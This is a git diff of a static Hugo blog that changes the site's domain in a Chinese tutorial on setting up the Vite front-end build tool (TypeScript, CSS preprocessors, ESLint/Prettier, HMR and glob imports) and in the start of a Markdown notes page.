-    target: 'es2015'
-}
-</code></pre><p>浏览器原生ESM导入</p><p>index.html</p><pre><code>&lt;div id='app'&gt;&lt;/div&gt;
-&lt;script type='module' src='app.js'&gt;&lt;/script&gt;
-</code></pre><p>app.js</p><pre><code>import { createApp } from 'vue'
-import App form './App.vue'
-import './index.css'
-createApp(App).mount(&quot;#app&quot;)
-</code></pre><p>浏览器解析index.html的时候，通过&lt;script type=&lsquo;module&rsquo; src=&lsquo;app.js&rsquo;>得到app.js文件，而且声明该文件使用的ESM模块化的机制，然后对app.js导入的模块进行实时编译，实现按需加载</p><p>因为其是利用了原生ESM模块化，因此Vite原生支持css，不需要额外配置，通过插入style元素来实现</p><p>main.js</p><pre><code>import './index.css'
-</code></pre><p>使用less或者sass，postcss都很简单，Vite内置了配置，无需配置Vite</p><p>安装less</p><pre><code>yarn add less -d
-</code></pre><p>安装sass</p><pre><code>yarn add sass -d
-</code></pre><p>安装postcss</p><pre><code>yarn add postcss -D
-</code></pre><p>postcss是通过插件完成功能的，因此还得根据需要来安装插件（注意：postcss.config.js配置文件导入插件，不需要使用require()导入，而是直接写入字符串）</p><p>使用typescript（vite默认支持typescript，但是只进行ts编译，不会进行校验）</p><p>App.vue</p><pre><code>import { test } './index'
-</code></pre><p>让vite支持校验typescript</p><p>安装typescript</p><p>yarn add typescript -d</p><p>修改package.json命令</p><pre><code>&quot;scripts&quot;: {
-    &quot;build&quot;: &quot;tsc --noEmit &amp;&amp; vite build&quot;
-}
-</code></pre><p>添加tsconfig.json配置</p><pre><code>{
-    &quot;compilerOptions&quot;: {
-        &quot;target&quot;: &quot;esnext&quot;,
-        &quot;module&quot;: &quot;esnext&quot;,
-        &quot;moduleResolution&quot;: &quot;node&quot;,
-        &quot;strict&quot;: true,
-        &quot;jsx&quot;: &quot;preserve&quot;,
-        &quot;sourceMap&quot;: true,
-        &quot;resolveJsonModule&quot;: true,
-        &quot;esModuleInterop&quot;: true,
-        &quot;lib&quot;: [&quot;esnext&quot;,&quot;dom&quot;],
-        &quot;isolatedModules&quot;: true,
-    },
-    &quot;include&quot;: [
-        &quot;src/**/*.ts&quot;,
-        &quot;src/**/*.d.ts&quot;,
-        &quot;src/**/*.tsx&quot;,
-        &quot;src/**/*.vue&quot;,
-    ],
-}
-</code></pre><p>注意：isolatedModules属性为true时，ts文件中如果不存在import和export时，ts会认定该模块不是ESM模块，设置的原因是Babel在转义阶段，会将ts的类型声明删除，这个时候如果export类型出现，Babel是不知道有这个类型存在的（因为js没有类型），导致前端报错，开启这个功能可以在开发阶段就提示错误（）</p><p>校验.vue文件（vue-tsc）</p><p>安装vue-tsc</p><pre><code>yarn add vue-tsc -d
-</code></pre><p>修改package.json命令</p><pre><code>&quot;scripts&quot;: {
-    &quot;build&quot;: &quot;vue-tsc --noEmit &amp;&amp; tsc --noEmit &amp;&amp; vite build&quot;
-}
-</code></pre><hr><p>vite集成eslint和pritter</p><p>安装依赖</p><p>npm install eslint-config-standard eslint-plugin-import eslint-plugin-promise eslint-plugin-node -d</p><p>.eslintrc.js，使用standard规则</p><pre><code>module.exports = {
-    extends: 'standard',
-}
-</code></pre><p>.pritterrc（搭配vsc插件pritter使用，prettier用来格式化）</p><pre><code>{
-    'semi': false,
-    'singleQuote': true
-}
-</code></pre><p>vsc打开设置，搜索format on save，构选，再搜索formatter，选择prettier插件，保存时将会使用prettier进行代码格式化（让代码符合eslint规则）</p><hr><p>vite的HMR热更新API</p><p>import.meta可以返回当前模块的信息，需要在模块内部使用，由ECMAScript实现这个功能</p><pre><code>&lt;script type='module'&gt;
-    console.log(import.meta)
-&lt;/script&gt;
-</code></pre><p>可以看到其返回的是一个对象，该对象有个url属性，这个url属性指向了模块的url，这个对象可以进行扩展</p><p>vite通过扩展该对象，import.meta.hot手动暴露HMR（获取新的模块），例如：</p><pre><code>if(import.meta.hot){
-    import.meta.hot.accept((newMod) =&gt;{
-        newMod.Dom()
-    })
-}
-</code></pre><p>原理是服务端发现模块更新了，发送一个事件给客户端，客户端知道模块更新了，就通过发送请求获取最新的文件，将老的模块替换成新的，就实现热更新功能了</p><p>vite批量导入</p><pre><code>const mods = import.meta.glob('./src/*')
-console.log(mods)
-</code></pre><p>可以看到输出了一个键值对，键为文件名，值为该文件的import</p><pre><code>Object.entries(mods).forEach([a,b]) =&gt;{
-    b().then(mod =&gt; {
-        console.log(mod.default)
-    })
-}
-</code></pre><p>预编译（运行vite项目，会在node_modules下创建一个.vite文件夹，这个文件夹是vite的依赖，直接读取这个依赖就可以了）</p><p>预编译的另一个作用是可以将多个依赖文件整合成一个文件，可以通过optimizeDeps，exclude禁止预编译某个依赖来查看</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/vite/>Vite</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/88/><span class=title>« Prev</span><br><span>Markdown基础语法笔记</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/85/><span class=title>Next »</span><br><span>简单使用Nginx</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+yarn add @vitejs/plugin-legacy -d 配置vite.config.ts
+import legacy from '@vitejs/plugin-legacy' ."><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单使用Vite-前端构建工具","item":"https://chenjunlinabc.github.io/posts/87/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单使用Vite-前端构建工具","name":"简单使用Vite-前端构建工具","description":"Vite是由 Vue.js 的作者尤雨溪开发完成的一款前端项目构建工具，使用原生ESM文件，支持热重载\nVite在法语中的意思为快速的\n基于原生 import 的，使用浏览器来解析import，服务端按需编译返回，支持热更新模块\n依赖于Rollup打包，虽然vite设计初衷是为了vue3.x的，但是也是支持其他框架（例如react）\n对于TypeScrip的支持程度相当好，只需要在script元素加lang=\u0026ldquo;ts\u0026quot;就可以使用ts了\n至于less，sass/scss之类的css预处理器以及css原生支持也是很好，Vite支持css样式直接引入（import \u0026lsquo;./app.css\u0026rsquo;）\nsass/scss使用（前提已经安装了sass）\n在style元素中加lang=\u0026ldquo;scss\u0026quot;就可以使用sass了\njson也是可以直接引入，例如：import data from \u0026lsquo;./data.json\u0026rsquo;\n另外对于JSX也是支持的，用.jsx表示jsx，例如：import App from \u0026lsquo;./App.jsx\u0026rsquo;\nvite有一套开发服务功能，基于原生es模块，ESM+HMR，而且还有一套项目构建指令，用rollup打包\n打包：指的是使用工具来抓取和处理源码模块，并且合成可以在浏览器上运行的文件（浏览器本身并不提供模块管理的机制，多模块需要很多的script标签，很繁琐臃肿，而打包就很好的解决了这个问题）\n常见的打包工具例如：webpack，rollup，parcel，gulp\n注意：当冷启动服务的时候，必须要先抓取并且构建应用（当应用越来越大，模块越来越多的时候，会导致服务启动缓慢），才能提供服务，而且进行模块更新的话，也会导致重建应用缓慢\n传统打包，是将多个模块打包成单一的文件，而esm打包，是根据http请求，来获取相应的route，再根据route来获取module（避免一开始就获取全部module）\nvite将模块分为依赖和源码，依赖指的是开发时不会发生改变的，vite将使用esbuild预构建依赖，而且将以原生ESM方式让浏览器接管打包源码\n构建Vite项目\nnpm create vite\n或者\nyarn create vite\n然后初始化一下\nnpm install\n或者\nyarn\n启动服务器\nvite\n或者\nnpm run dev，yarn dev\n本地预览\nvite preview\n打包\nvite build\nreact\nnpm create vite\n选择react，如果需要ts，也可以选择ts\nnpm install\nVite是一个构建工具的高阶封装（生产环境打包用Rollup来构建），开发环境无需要打包编译（利用现代浏览器的原生ESM来进行导入模块，模块加载的工作由浏览器完成，实现冷启动），支持动态模块热重载（HMR），开发环境的编译通过Esbuild来完成\nVite生产环境构建（也就是Rollup）是根据browserslist来做浏览器兼容性的，需要通过修改vite.config.ts下的build.target来指定构建目标，Vite最低支持es2015，也就是es6，需要es5以及更多浏览器可能无法正常运行或者通过@vitejs/plugin-legacy插件来获取支持（注意：使用该插件也不能让vue3支持ie11，只有vue2支持ie11）\n安装@vitejs/plugin-legacy\nyarn add @vitejs/plugin-legacy -d 配置vite.config.ts\nimport legacy from '@vitejs/plugin-legacy' .","keywords":["Vite"],"articleBody":"Vite是由 Vue.js 的作者尤雨溪开发完成的一款前端项目构建工具，使用原生ESM文件，支持热重载\nVite在法语中的意思为快速的\n基于原生 import 的，使用浏览器来解析import，服务端按需编译返回，支持热更新模块\n依赖于Rollup打包，虽然vite设计初衷是为了vue3.x的，但是也是支持其他框架（例如react）\n对于TypeScrip的支持程度相当好，只需要在script元素加lang=“ts\"就可以使用ts了\n至于less，sass/scss之类的css预处理器以及css原生支持也是很好，Vite支持css样式直接引入（import ‘./app.css’）\nsass/scss使用（前提已经安装了sass）\n在style元素中加lang=“scss\"就可以使用sass了\njson也是可以直接引入，例如：import data from ‘./data.json’\n另外对于JSX也是支持的，用.jsx表示jsx，例如：import App from ‘./App.jsx’\nvite有一套开发服务功能，基于原生es模块，ESM+HMR，而且还有一套项目构建指令，用rollup打包\n打包：指的是使用工具来抓取和处理源码模块，并且合成可以在浏览器上运行的文件（浏览器本身并不提供模块管理的机制，多模块需要很多的script标签，很繁琐臃肿，而打包就很好的解决了这个问题）\n常见的打包工具例如：webpack，rollup，parcel，gulp\n注意：当冷启动服务的时候，必须要先抓取并且构建应用（当应用越来越大，模块越来越多的时候，会导致服务启动缓慢），才能提供服务，而且进行模块更新的话，也会导致重建应用缓慢\n传统打包，是将多个模块打包成单一的文件，而esm打包，是根据http请求，来获取相应的route，再根据route来获取module（避免一开始就获取全部module）\nvite将模块分为依赖和源码，依赖指的是开发时不会发生改变的，vite将使用esbuild预构建依赖，而且将以原生ESM方式让浏览器接管打包源码\n构建Vite项目\nnpm create vite\n或者\nyarn create vite\n然后初始化一下\nnpm install\n或者\nyarn\n启动服务器\nvite\n或者\nnpm run dev，yarn dev\n本地预览\nvite preview\n打包\nvite build\nreact\nnpm create vite\n选择react，如果需要ts，也可以选择ts\nnpm install\nVite是一个构建工具的高阶封装（生产环境打包用Rollup来构建），开发环境无需要打包编译（利用现代浏览器的原生ESM来进行导入模块，模块加载的工作由浏览器完成，实现冷启动），支持动态模块热重载（HMR），开发环境的编译通过Esbuild来完成\nVite生产环境构建（也就是Rollup）是根据browserslist来做浏览器兼容性的，需要通过修改vite.config.ts下的build.target来指定构建目标，Vite最低支持es2015，也就是es6，需要es5以及更多浏览器可能无法正常运行或者通过@vitejs/plugin-legacy插件来获取支持（注意：使用该插件也不能让vue3支持ie11，只有vue2支持ie11）\n安装@vitejs/plugin-legacy\nyarn add @vitejs/plugin-legacy -d 配置vite.config.ts\nimport legacy from '@vitejs/plugin-legacy' ... plugins: [ legacy([ targets: ['defaults','no IE 11'] ]) ] ... build: { target: 'es2015' } 浏览器原生ESM导入\nindex.html\napp.js\nimport { createApp } from 'vue' import App form './App.vue' import './index.css' createApp(App).mount(\"#app\") 浏览器解析index.html的时候，通过 可以看到其返回的是一个对象，该对象有个url属性，这个url属性指向了模块的url，这个对象可以进行扩展\nvite通过扩展该对象，import.meta.hot手动暴露HMR（获取新的模块），例如：\nif(import.meta.hot){ import.meta.hot.accept((newMod) =\u003e{ newMod.Dom() }) } 原理是服务端发现模块更新了，发送一个事件给客户端，客户端知道模块更新了，就通过发送请求获取最新的文件，将老的模块替换成新的，就实现热更新功能了\nvite批量导入\nconst mods = import.meta.glob('./src/*') console.log(mods) 可以看到输出了一个键值对，键为文件名，值为该文件的import\nObject.entries(mods).forEach([a,b]) =\u003e{ b().then(mod =\u003e { console.log(mod.default) }) } 预编译（运行vite项目，会在node_modules下创建一个.vite文件夹，这个文件夹是vite的依赖，直接读取这个依赖就可以了）\n预编译的另一个作用是可以将多个依赖文件整合成一个文件，可以通过optimizeDeps，exclude禁止预编译某个依赖来查看\n","wordCount":"267","inLanguage":"en","datePublished":"2021-08-18T14:20:00Z","dateModified":"2021-08-18T14:20:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/87/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>简单使用Vite-前端构建工具</h1><div class=post-meta><span title='2021-08-18 14:20:00 +0000 UTC'>2021-08-18</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/%e7%ae%80%e5%8d%95%e4%bd%bf%e7%94%a8Vite-%e5%89%8d%e7%ab%af%e6%9e%84%e5%bb%ba%e5%b7%a5%e5%85%b7.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>Vite是由 Vue.js 的作者尤雨溪开发完成的一款前端项目构建工具，使用原生ESM文件，支持热重载</p><p>Vite在法语中的意思为快速的</p><p>基于原生 import 的，使用浏览器来解析import，服务端按需编译返回，支持热更新模块</p><p>依赖于Rollup打包，虽然vite设计初衷是为了vue3.x的，但是也是支持其他框架（例如react）</p><p>对于TypeScrip的支持程度相当好，只需要在script元素加lang=&ldquo;ts"就可以使用ts了</p><p>至于less，sass/scss之类的css预处理器以及css原生支持也是很好，Vite支持css样式直接引入（import &lsquo;./app.css&rsquo;）</p><p>sass/scss使用（前提已经安装了sass）</p><p>在style元素中加lang=&ldquo;scss"就可以使用sass了</p><p>json也是可以直接引入，例如：import data from &lsquo;./data.json&rsquo;</p><p>另外对于JSX也是支持的，用.jsx表示jsx，例如：import App from &lsquo;./App.jsx&rsquo;</p><p>vite有一套开发服务功能，基于原生es模块，ESM+HMR，而且还有一套项目构建指令，用rollup打包</p><p>打包：指的是使用工具来抓取和处理源码模块，并且合成可以在浏览器上运行的文件（浏览器本身并不提供模块管理的机制，多模块需要很多的script标签，很繁琐臃肿，而打包就很好的解决了这个问题）</p><p>常见的打包工具例如：webpack，rollup，parcel，gulp</p><p>注意：当冷启动服务的时候，必须要先抓取并且构建应用（当应用越来越大，模块越来越多的时候，会导致服务启动缓慢），才能提供服务，而且进行模块更新的话，也会导致重建应用缓慢</p><p>传统打包，是将多个模块打包成单一的文件，而esm打包，是根据http请求，来获取相应的route，再根据route来获取module（避免一开始就获取全部module）</p><p>vite将模块分为依赖和源码，依赖指的是开发时不会发生改变的，vite将使用esbuild预构建依赖，而且将以原生ESM方式让浏览器接管打包源码</p><hr><p>构建Vite项目</p><p>npm create vite</p><p>或者</p><p>yarn create vite</p><p>然后初始化一下</p><p>npm install</p><p>或者</p><p>yarn</p><p>启动服务器</p><p>vite</p><p>或者</p><p>npm run dev，yarn dev</p><p>本地预览</p><p>vite preview</p><p>打包</p><p>vite build</p><hr><p>react</p><p>npm create vite</p><p>选择react，如果需要ts，也可以选择ts</p><p>npm install</p><hr><p>Vite是一个构建工具的高阶封装（生产环境打包用Rollup来构建），开发环境无需要打包编译（利用现代浏览器的原生ESM来进行导入模块，模块加载的工作由浏览器完成，实现冷启动），支持动态模块热重载（HMR），开发环境的编译通过Esbuild来完成</p><p>Vite生产环境构建（也就是Rollup）是根据browserslist来做浏览器兼容性的，需要通过修改vite.config.ts下的build.target来指定构建目标，Vite最低支持es2015，也就是es6，需要es5以及更多浏览器可能无法正常运行或者通过@vitejs/plugin-legacy插件来获取支持（注意：使用该插件也不能让vue3支持ie11，只有vue2支持ie11）</p><p>安装@vitejs/plugin-legacy</p><pre><code>yarn add @vitejs/plugin-legacy -d
+</code></pre><p>配置vite.config.ts</p><pre><code>import legacy from '@vitejs/plugin-legacy'
+...
+plugins: [
+    legacy([
+        targets: ['defaults','no IE 11']
+    ])
+]
+...
+build: {
+    target: 'es2015'
+}
+</code></pre><p>浏览器原生ESM导入</p><p>index.html</p><pre><code>&lt;div id='app'&gt;&lt;/div&gt;
+&lt;script type='module' src='app.js'&gt;&lt;/script&gt;
+</code></pre><p>app.js</p><pre><code>import { createApp } from 'vue'
+import App form './App.vue'
+import './index.css'
+createApp(App).mount(&quot;#app&quot;)
+</code></pre><p>浏览器解析index.html的时候，通过&lt;script type=&lsquo;module&rsquo; src=&lsquo;app.js&rsquo;>得到app.js文件，而且声明该文件使用的ESM模块化的机制，然后对app.js导入的模块进行实时编译，实现按需加载</p><p>因为其是利用了原生ESM模块化，因此Vite原生支持css，不需要额外配置，通过插入style元素来实现</p><p>main.js</p><pre><code>import './index.css'
+</code></pre><p>使用less或者sass，postcss都很简单，Vite内置了配置，无需配置Vite</p><p>安装less</p><pre><code>yarn add less -d
+</code></pre><p>安装sass</p><pre><code>yarn add sass -d
+</code></pre><p>安装postcss</p><pre><code>yarn add postcss -D
+</code></pre><p>postcss是通过插件完成功能的，因此还得根据需要来安装插件（注意：postcss.config.js配置文件导入插件，不需要使用require()导入，而是直接写入字符串）</p><p>使用typescript（vite默认支持typescript，但是只进行ts编译，不会进行校验）</p><p>App.vue</p><pre><code>import { test } './index'
+</code></pre><p>让vite支持校验typescript</p><p>安装typescript</p><p>yarn add typescript -d</p><p>修改package.json命令</p><pre><code>&quot;scripts&quot;: {
+    &quot;build&quot;: &quot;tsc --noEmit &amp;&amp; vite build&quot;
+}
+</code></pre><p>添加tsconfig.json配置</p><pre><code>{
+    &quot;compilerOptions&quot;: {
+        &quot;target&quot;: &quot;esnext&quot;,
+        &quot;module&quot;: &quot;esnext&quot;,
+        &quot;moduleResolution&quot;: &quot;node&quot;,
+        &quot;strict&quot;: true,
+        &quot;jsx&quot;: &quot;preserve&quot;,
+        &quot;sourceMap&quot;: true,
+        &quot;resolveJsonModule&quot;: true,
+        &quot;esModuleInterop&quot;: true,
+        &quot;lib&quot;: [&quot;esnext&quot;,&quot;dom&quot;],
+        &quot;isolatedModules&quot;: true,
+    },
+    &quot;include&quot;: [
+        &quot;src/**/*.ts&quot;,
+        &quot;src/**/*.d.ts&quot;,
+        &quot;src/**/*.tsx&quot;,
+        &quot;src/**/*.vue&quot;,
+    ],
+}
+</code></pre><p>注意：isolatedModules属性为true时，ts文件中如果不存在import和export时，ts会认定该模块不是ESM模块，设置的原因是Babel在转义阶段，会将ts的类型声明删除，这个时候如果export类型出现，Babel是不知道有这个类型存在的（因为js没有类型），导致前端报错，开启这个功能可以在开发阶段就提示错误（）</p><p>校验.vue文件（vue-tsc）</p><p>安装vue-tsc</p><pre><code>yarn add vue-tsc -d
+</code></pre><p>修改package.json命令</p><pre><code>&quot;scripts&quot;: {
+    &quot;build&quot;: &quot;vue-tsc --noEmit &amp;&amp; tsc --noEmit &amp;&amp; vite build&quot;
+}
+</code></pre><hr><p>vite集成eslint和pritter</p><p>安装依赖</p><p>npm install eslint-config-standard eslint-plugin-import eslint-plugin-promise eslint-plugin-node -d</p><p>.eslintrc.js，使用standard规则</p><pre><code>module.exports = {
+    extends: 'standard',
+}
+</code></pre><p>.pritterrc（搭配vsc插件pritter使用，prettier用来格式化）</p><pre><code>{
+    'semi': false,
+    'singleQuote': true
+}
+</code></pre><p>vsc打开设置，搜索format on save，构选，再搜索formatter，选择prettier插件，保存时将会使用prettier进行代码格式化（让代码符合eslint规则）</p><hr><p>vite的HMR热更新API</p><p>import.meta可以返回当前模块的信息，需要在模块内部使用，由ECMAScript实现这个功能</p><pre><code>&lt;script type='module'&gt;
+    console.log(import.meta)
+&lt;/script&gt;
+</code></pre><p>可以看到其返回的是一个对象，该对象有个url属性，这个url属性指向了模块的url，这个对象可以进行扩展</p><p>vite通过扩展该对象，import.meta.hot手动暴露HMR（获取新的模块），例如：</p><pre><code>if(import.meta.hot){
+    import.meta.hot.accept((newMod) =&gt;{
+        newMod.Dom()
+    })
+}
+</code></pre><p>原理是服务端发现模块更新了，发送一个事件给客户端，客户端知道模块更新了，就通过发送请求获取最新的文件，将老的模块替换成新的，就实现热更新功能了</p><p>vite批量导入</p><pre><code>const mods = import.meta.glob('./src/*')
+console.log(mods)
+</code></pre><p>可以看到输出了一个键值对，键为文件名，值为该文件的import</p><pre><code>Object.entries(mods).forEach([a,b]) =&gt;{
+    b().then(mod =&gt; {
+        console.log(mod.default)
+    })
+}
+</code></pre><p>预编译（运行vite项目，会在node_modules下创建一个.vite文件夹，这个文件夹是vite的依赖，直接读取这个依赖就可以了）</p><p>预编译的另一个作用是可以将多个依赖文件整合成一个文件，可以通过optimizeDeps，exclude禁止预编译某个依赖来查看</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/vite/>Vite</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/88/><span class=title>« Prev</span><br><span>Markdown基础语法笔记</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/85/><span class=title>Next »</span><br><span>简单使用Nginx</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/88/index.html b/posts/88/index.html
index 7c14345e..d6829dc7 100644
--- a/posts/88/index.html
+++ b/posts/88/index.html
@@ -24,8 +24,8 @@
 表格
 xxx xxx yyy yyy yyy yyy :-表示左对齐，-:表示右对齐，:-:表示居中对齐
 转义
-*"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/88/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Markdown基础语法笔记"><meta property="og:description" content="Markdown是一个标记语言，常用于编写文档
+*"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/88/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 